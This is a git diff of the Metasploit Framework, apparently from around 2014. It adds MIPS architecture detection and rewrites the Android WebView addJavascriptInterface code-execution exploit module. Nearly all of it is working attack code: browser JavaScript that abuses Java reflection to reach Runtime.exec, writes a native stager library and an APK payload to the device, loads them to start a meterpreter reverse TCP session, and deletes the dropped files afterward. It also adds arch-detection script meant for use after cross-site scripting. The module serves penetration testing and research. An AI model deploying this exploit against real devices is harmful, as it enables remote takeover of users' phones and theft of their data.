diff --git a/data/js/detect/os.js b/data/js/detect/os.js index 47250c2d32..9214b49118 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -20,6 +20,7 @@ arch_armle = "armle"; arch_x86 = "x86"; arch_x86_64 = "x86_64"; arch_ppc = "ppc"; +arch_mipsle = "mipsle"; window.os_detect = {}; @@ -184,9 +185,15 @@ window.os_detect.getVersion = function(){ } else if (platform.match(/arm/)) { // Android and maemo arch = arch_armle; - if (navigator.userAgent.match(/android/i)) { - os_flavor = 'Android'; - } + } else if (platform.match(/x86/)) { + arch = arch_x86; + } else if (platform.match(/mips/)) { + arch = arch_mipsle; + } + + + if (navigator.userAgent.match(/android/i)) { + os_flavor = 'Android'; } } else if (platform.match(/windows/)) { os_name = oses_windows; diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index ec69512a81..8794fa903a 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -7,28 +7,49 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn - autopwn_info({ - :os_flavor => "Android", - :arch => ARCH_ARMLE, + # Since the NDK stager is used, arch detection must be performed + SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE ] # todo: , ARCH_X86 ] + + # Most android devices are ARM + DEFAULT_ARCH = ARCH_ARMLE + + # Some of the default NDK build targets are named differently than + # msf's builtin constants. This mapping allows the ndkstager file + # to be looked up from the msf constant. + NDK_FILES = { + ARCH_ARMLE => 'armeabi', + ARCH_MIPSLE => 'mips' + } + + autopwn_info( + :os_flavor => 'Android', :javascript => true, :rank => ExcellentRanking, + + # The Android 4.0 shell is different than other versions of android + # in that the echo builtin does not allow the \x hex encoding syntax. + # Android 4.0 is still vulnerable to the Java reflection exploit, but + # until we find a way to drop and run the payload, we can't support + # it as a target. :vuln_test => %Q| - for (i in top) { - try { - top[i].getClass().forName('java.lang.Runtime'); - is_vuln = true; break; - } catch(e) {} + if (!navigator.userAgent.match(/Android 4\.0;/)) { + for (i in top) { + try { + top[i].getClass().forName('java.lang.Runtime'); + is_vuln = true; break; + } catch(e) {} + } } | - }) + ) def initialize(info = {}) super(update_info(info, - 'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution', - 'Description' => %q{ + 'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution', + 'Description' => %q{ This module exploits a privilege escalation issue in Android < 4.2's WebView component that arises when untrusted Javascript code is executed by a WebView that has one or more Interfaces added to it. The untrusted Javascript code can call into the Java Reflection @@ -46,72 +67,92 @@ class Metasploit3 < Msf::Exploit::Remote Note: Adding a .js to the URL will return plain javascript (no HTML markup). }, - 'License' => MSF_LICENSE, - 'Author' => [ + 'License' => MSF_LICENSE, + 'Author' => [ 'jduck', # original msf module 'joev' # static server ], - 'References' => [ + 'References' => [ ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'], ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'], ['URL', 'http://50.56.33.56/blog/?p=314'], ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'], ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'] ], - 'Platform' => 'android', - 'Arch' => ARCH_DALVIK, - 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp', }, - 'Targets' => [ [ 'Automatic', {} ] ], - 'DisclosureDate' => 'Dec 21 2012', - 'DefaultTarget' => 0, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' }, + 'Targets' => [ [ 'Automatic', {} ] ], + 'DisclosureDate' => 'Dec 21 2012', + 'DefaultTarget' => 0, 'BrowserRequirements' => { - :source => 'script', - :os_flavor => "Android", - :arch => ARCH_ARMLE + :source => 'script', + :os_flavor => 'Android' } )) end + # Hooked to prevent BrowserExploitServer from attempting to do JS detection + # on requests for the static javascript file def on_request_uri(cli, req) - if req.uri.end_with?('js') - print_status("Serving javascript") - send_response(cli, js, 'Content-type' => 'text/javascript') + if req.uri =~ /\.js/ + serve_static_js(cli, req) else - print_status("Serving exploit HTML") - send_response_html(cli, html) + super end end - def ndkstager(stagename) - localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', 'armeabi', 'libndkstager.so') + # The browser appears to be vulnerable, serve the exploit + def on_request_exploit(cli, req, browser) + arch = normalize_arch(browser[:arch]) + print_status "Serving #{arch} exploit..." + send_response_html(cli, html(arch)) + end + + # The NDK stager is used to launch a hidden APK + def ndkstager(stagename, arch) + localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so') data = File.read(localfile, :mode => 'rb') data.gsub!('PLOAD', stagename) end - def js + def js(arch) stagename = Rex::Text.rand_text_alpha(5) - %Q| + script = %Q| function exec(obj) { // ensure that the object contains a native interface try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } // get the pid - var pid = obj.getClass().forName('android.os.Process').getMethod('myPid', null).invoke(null, null); + var pid = obj.getClass() + .forName('android.os.Process') + .getMethod('myPid', null) + .invoke(null, null); // get the runtime so we can exec - var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); - var runtime = m.invoke(null, null); + var runtime = obj.getClass() + .forName('java.lang.Runtime') + .getMethod('getRuntime', null) + .invoke(null, null); + + // libraryData contains the bytes for a native shared object built via NDK + // which will load the "stage", which in this case is our android meterpreter stager. + // LibraryData is loaded via ajax later, because we have to access javascript in + // order to detect what arch we are running. + var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename, arch), '\\\\x')}"; + + // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains + // another stager which loads android meterpreter from the msf handler. var stageData = "#{Rex::Text.to_hex(payload.raw, '\\\\x')}"; - var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename), '\\\\x')}"; // get the process name, which will give us our data path // $PPID does not seem to work on android 4.0, so we concat pids manually var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); var ch, path = '/data/data/'; while ((ch = p.getInputStream().read()) > 0) { path += String.fromCharCode(ch); } + var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; var stagePath = path + '/#{stagename}.apk'; - var dexPath = path + '/#{stagename}.dex'; // build the library and chmod it runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor(); @@ -121,19 +162,80 @@ class Metasploit3 < Msf::Exploit::Remote runtime.exec(['/system/bin/sh', '-c', 'echo "'+stageData+'" > '+stagePath]).waitFor(); runtime.exec(['chmod', '700', stagePath]).waitFor(); + // load the library (this fails in x86, figure out why) runtime.load(libraryPath); + + // delete dropped files runtime.exec(['rm', stagePath]).waitFor(); runtime.exec(['rm', libraryPath]).waitFor(); - runtime.exec(['rm', dexPath]).waitFor(); return true; } - for (i in top) { if (exec(top[i]) === true) break; } + if (!navigator.userAgent.match(/Android 4\.0;/)) { + for (i in top) { if (exec(top[i]) === true) break; } + } + | + + # remove comments and empty lines + script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '') + end + + # Called when a client requests a .js route. + # This is handy for post-XSS. + def serve_static_js(cli, req) + arch = req.qstring['arch'] + response_opts = { 'Content-type' => 'text/javascript' } + + if arch.present? + print_status("Serving javascript for arch #{normalize_arch arch}") + send_response(cli, js(normalize_arch arch), response_opts) + else + print_status("Serving arch detection javascript") + send_response(cli, static_arch_detect_js, response_opts) + end + end + + # This is served to requests for the static .js file. + # Because we have to use javascript to detect arch, we have 3 different + # versions of the static .js file (x86/mips/arm) to choose from. This + # small snippet of js detects the arch and requests the correct file. + def static_arch_detect_js + %Q| + var arches = {}; + arches['#{ARCH_ARMLE}'] = /arm/i; + arches['#{ARCH_MIPSLE}'] = /mips/i; + arches['#{ARCH_X86}'] = /x86/i; + + var arch = null; + for (var name in arches) { + if (navigator.platform.toString().match(arches[name])) { + arch = name; + break; + } + } + + if (arch) { + // load the script with the correct arch + var script = document.createElement('script'); + script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch); + script.setAttribute('type', 'text/javascript'); + + // ensure body is parsed and we won't be in an uninitialized state + setTimeout(function(){ + var node = document.body \|\| document.head; + node.appendChild(script); + }, 100); + } | end - def html - "
" + # @return [String] normalized client architecture + def normalize_arch(arch) + if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end + end + + def html(arch) + "" end end